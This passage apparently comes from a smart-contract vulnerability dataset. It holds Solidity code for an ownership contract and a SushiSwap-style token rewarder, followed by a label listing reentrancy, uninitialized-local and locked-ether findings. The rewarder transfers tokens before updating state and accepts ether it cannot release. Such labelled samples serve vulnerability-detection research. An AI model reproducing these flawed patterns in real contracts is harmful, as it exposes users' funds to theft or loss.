/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
/// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
/// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.
function transferOwnership(
address newOwner,
bool direct,
bool renounce
) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
// File contracts/mocks/CloneRewarderTime.sol
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IMasterChefV2 {
function lpToken(uint256 pid) external view returns (IERC20 _lpToken);
}
/// @author @0xKeno
contract WncgRewarder is IRewarder, BoringOwnable{
using BoringMath for uint256;
using BoringMath128 for uint128;
using BoringERC20 for IERC20;
IERC20 public rewardToken;
/// @notice Info of each MCV2 user.
/// `amount` LP token amount the user has provided.
/// `rewardDebt` The amount of SUSHI entitled to the user.
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
/// @notice Info of each MCV2 pool.
/// `allocPoint` The amount of allocation points assigned to the pool.
/// Also known as the amount of SUSHI to distribute per block.
struct PoolInfo {
uint128 accSushiPerShare;
uint64 lastRewardTime;
}
/// @notice Info of each pool.
mapping (uint256 => PoolInfo) public poolInfo;
/// @notice Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public rewardPerSecond;
IERC20 public masterLpToken;
uint256 private constant ACC_TOKEN_PRECISION = 1e12;
address public immutable MASTERCHEF_V2;
event LogOnReward(address indexed user, uint256 indexed pid, uint256 amount, address indexed to);
event LogPoolAddition(uint256 indexed pid, uint256 allocPoint);
event LogSetPool(uint256 indexed pid, uint256 allocPoint);
event LogUpdatePool(uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accSushiPerShare);
event LogRewardPerSecond(uint256 rewardPerSecond);
event LogInit();
constructor (address _MASTERCHEF_V2) public {
MASTERCHEF_V2 = _MASTERCHEF_V2;
}
/// @notice Serves as the constructor for clones, as clones can't have a regular constructor
/// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData)
function init(bytes calldata data) public payable {
require(rewardToken == IERC20(0), "Rewarder: already initialized");
(rewardToken, owner, rewardPerSecond, masterLpToken) = abi.decode(data, (IERC20, address, uint256, IERC20));
require(rewardToken != IERC20(0), "Rewarder: bad token");
emit LogInit();
}
function onSushiReward (uint256 pid, address _user, address to, uint256, uint256 lpToken) onlyMCV2 override external {
require(IMasterChefV2(MASTERCHEF_V2).lpToken(pid) == masterLpToken);
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][_user];
uint256 pending;
if (user.amount > 0) {
pending =
(user.amount.mul(pool.accSushiPerShare) / ACC_TOKEN_PRECISION).sub(
user.rewardDebt
);
rewardToken.safeTransfer(to, pending);
}
user.amount = lpToken;
user.rewardDebt = lpToken.mul(pool.accSushiPerShare) / ACC_TOKEN_PRECISION;
emit LogOnReward(_user, pid, pending, to);
}
function pendingTokens(uint256 pid, address user, uint256) override external view returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) {
IERC20[] memory _rewardTokens = new IERC20[](1);
_rewardTokens[0] = (rewardToken);
uint256[] memory _rewardAmounts = new uint256[](1);
_rewardAmounts[0] = pendingToken(pid, user);
return (_rewardTokens, _rewardAmounts);
}
/// @notice Sets the sushi per second to be distributed. Can only be called by the owner.
/// @param _rewardPerSecond The amount of Sushi to be distributed per second.
function setRewardPerSecond(uint256 _rewardPerSecond) public onlyOwner {
rewardPerSecond = _rewardPerSecond;
emit LogRewardPerSecond(_rewardPerSecond);
}
modifier onlyMCV2 {
require(
msg.sender == MASTERCHEF_V2,
"Only MCV2 can call this function."
);
_;
}
/// @notice View function to see pending Token
/// @param _pid The index of the pool. See `poolInfo`.
/// @param _user Address of user.
/// @return pending SUSHI reward for a given user.
function pendingToken(uint256 _pid, address _user) public view returns (uint256 pending) {
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSushiPerShare = pool.accSushiPerShare;
uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(_pid).balanceOf(MASTERCHEF_V2);
if (block.timestamp > pool.lastRewardTime && lpSupply != 0) {
uint256 time = block.timestamp.sub(pool.lastRewardTime);
uint256 sushiReward = time.mul(rewardPerSecond);
accSushiPerShare = accSushiPerShare.add(sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply);
}
pending = (user.amount.mul(accSushiPerShare) / ACC_TOKEN_PRECISION).sub(user.rewardDebt);
}
/// @notice Update reward variables of the given pool.
/// @param pid The index of the pool. See `poolInfo`.
/// @return pool Returns the pool that was updated.
function updatePool(uint256 pid) public returns (PoolInfo memory pool) {
pool = poolInfo[pid];
if (block.timestamp > pool.lastRewardTime) {
uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(pid).balanceOf(MASTERCHEF_V2);
if (lpSupply > 0) {
uint256 time = block.timestamp.sub(pool.lastRewardTime);
uint256 sushiReward = time.mul(rewardPerSecond);
pool.accSushiPerShare = pool.accSushiPerShare.add((sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply).to128());
}
pool.lastRewardTime = block.timestamp.to64();
poolInfo[pid] = pool;
emit LogUpdatePool(pid, pool.lastRewardTime, lpSupply, pool.accSushiPerShare);
}
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) uninitialized-local with Medium impact
3) locked-ether with Medium impact |
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